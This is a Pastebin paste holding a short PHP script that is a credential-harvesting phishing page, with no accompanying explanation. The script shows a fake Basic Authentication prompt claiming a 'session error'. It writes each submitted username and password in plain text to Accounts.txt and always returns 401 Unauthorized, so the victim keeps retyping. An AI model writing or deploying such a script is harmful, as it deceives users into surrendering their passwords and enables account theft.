Advertisement
Guest User

Untitled

a guest
May 15th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. <?php
  2. if(isset($_SERVER['PHP_AUTH_USER'])){
  3. $Handle = @fopen('Accounts.txt', 'a');
  4.  
  5. @fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
  6. @fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
  7.  
  8. @fclose($Handle);
  9. }
  10.  
  11. header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
  12. header('HTTP/1.0 401 Unauthorized');
  13. exit;
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement